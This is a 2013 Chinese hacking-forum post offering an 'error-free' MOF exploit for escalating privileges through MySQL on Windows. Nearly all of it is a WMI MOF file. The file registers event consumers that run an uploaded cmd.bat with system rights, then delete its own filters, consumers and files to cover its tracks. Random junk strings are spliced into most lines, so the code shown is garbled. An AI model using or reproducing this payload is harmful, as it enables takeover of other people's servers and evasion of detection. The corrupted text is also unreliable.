找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2058|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
2 J! h- d3 I; o+ g需要将要运行的命令写入到bat上传到system32目录,然后执行。
1 G- p( _: X# L* X4 W( o# x; r+ S1 ?1 N  I( [' Y! E
这个sql提权MOF需要运行 system下的文件,不能定义路径。. T5 N, Q$ j& F* s
需要将要运行的命令写入到bat上传到system32目录,然后执行。$ Z4 i( T) D5 z# x! E

; E$ t2 ~" N# h4 h- r#pragma
4 ^2 J# Z9 v+ B' g4 \                        namespace("\\\\.\\root\\cimv2")# D. R6 Y0 Y7 c8 x
                        class; e0 }+ \1 k$ T8 ?& H  M
                        MyClass5478 n* B4 o7 y+ P6 W( @. Z. v* v
                        {           [key]
$ x6 L, o9 t' K3 M; @. |- V! R; ^                        string! b! i: n* u5 z" R
                        Name;0 A+ t, I9 `1 Q, r2 m% v) J% b
                        };5 i2 O5 a3 b0 j+ T7 ]# I
                        class
3 S. Q6 [. M5 D5 e                        ActiveScriptEventConsumer% j, x- }) ]1 T3 E) S6 `1 y
                        : __EventConsumer {          [key]; E" |5 g( E5 f( ~5 R6 x$ V. W
                        string5 n( P9 i3 X2 A4 L6 n* p5 p% _
                        Name;           [not_null]# P$ c' G  v$ l) s
                        string$ i! `- h% y4 R- e+ m6 i9 e
                        ScriptingEngine;           string
. y3 {! f- H& v8 e                        ScriptFileName;           [template]
- D* [& G0 o4 G8 Y: K/ {$ R                        string6 _3 v2 ~) f; S& j0 w: n
                        ScriptText;         uint32 KillTimeout;
, ]0 j7 R  H" m( ~' o                        }; instance of __Win32Provider as $P {9 V& Q+ d8 @; Z+ u4 o9 K
                        Name) _2 _+ I; |0 H* y. ?7 n
                        =
% I* _/ Y/ e2 A3 c$ Z1 V0 D                        "ActiveScriptEventConsumer";     CLSID =' w$ E. {: `. I- T0 _
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
3 e% }. }) d- g) O                        PerUserInitialization
$ a% \/ P7 M( v+ w! L8 H                        = TRUE;; W* `$ }6 d) S9 ]2 M
                        }; instance of __EventConsumerProviderRegistration {         Provider
+ u$ s8 z1 q' U8 N$ g                        = $P;         ConsumerClassNames
2 N6 z1 T0 s: K4 U) c& i                        =$ Q0 D+ P0 D& T# Q
                        {"ActiveScriptEventConsumer"};
5 r/ h1 K  s: r2 U$ F                        };& w- ?7 E) V4 {- n( ?
                        Instance of ActiveScriptEventConsumer  v4 y2 Z  y; H' c! q2 ~. G3 o4 e
                        as $cons {         Name
" I/ u6 M2 `# F# A                        =
2 Y1 T6 n9 b( a; Y2 R* F                        "ASEC";         ScriptingEngine
8 J5 a! |/ [/ ?) e% @+ w! k2 \                        =1 c; Z( u& n! l& b6 t: e- Q
                        "JScript";         ScriptText
. i, ~6 Y, l$ y                        =
% Q% F5 |0 J7 W' P  l. A0 Z, q4 D                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
# u' Q6 Y/ v8 Y+ a! l) P                        Instance of ActiveScriptEventConsumer0 i" @$ a/ N+ n3 z
                        as $cons2 {         Name" o! q5 H( |" h3 Y$ @1 {% d
                        =2 |# Q  E/ }" L- {" s
                        "qndASEC";         ScriptingEngine( V& w- T- P( b) L# @5 v8 H+ E
                        =
/ M& O0 k$ j8 |+ w                        "JScript";         ScriptText
7 r3 o6 i5 }- k$ X2 i( S: @# ?                        =. R9 L9 L( j% Y
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";6 V# O8 h0 p: H3 t) u
                        }; instance of __EventFilter as $Filt {         Name4 m: g! \$ q* W7 v$ d2 A" t* C8 t
                        =2 ]! I8 ], P3 g  _1 n- r
                        "instfilt";         Query
0 m0 I( X1 D9 d% K! z$ b# y( y                        =
; S6 X' Z* ?& q9 A; g                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage1 o) u& j8 c( ?# c, ~- u9 P
                        =6 j% g, ^3 m' P0 V8 ?$ o. e
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
& m; j; N6 }( C2 K                        =
* O. |& O1 x( [& s2 ?1 ^1 _                        "qndfilt";         Query
9 s9 |# `7 V: _                        =5 ^$ b8 D- L  H/ j3 N+ L
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage7 O( Z8 Y) I% V% s1 f" i
                        =
) f" H/ J  p) c2 y8 d1 v                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer1 w8 P' B7 j1 v! q
                        = $cons;         Filter: F' o  \# ^$ ~) s0 g5 ]/ I3 l
                        = $Filt;
! }, K5 X( E3 W                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
/ d; i. N& ]3 F4 p) J                        = $cons2;         Filter0 P+ S8 q3 p$ h. Y  }
                        = $Filt2;  M6 H5 {& g3 y" N
                        }; instance of MyClass5470 |/ b/ R9 n8 Q$ w% [0 x$ Z
                        as $MyClass {         Name
  S, X8 c6 N8 Q' E0 L- J3 z                        =
' T" s3 v( p. J: a9 f* l' y2 i                        "ClassConsumer";
1 C( q. c( h6 B* D4 ]% F; R                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表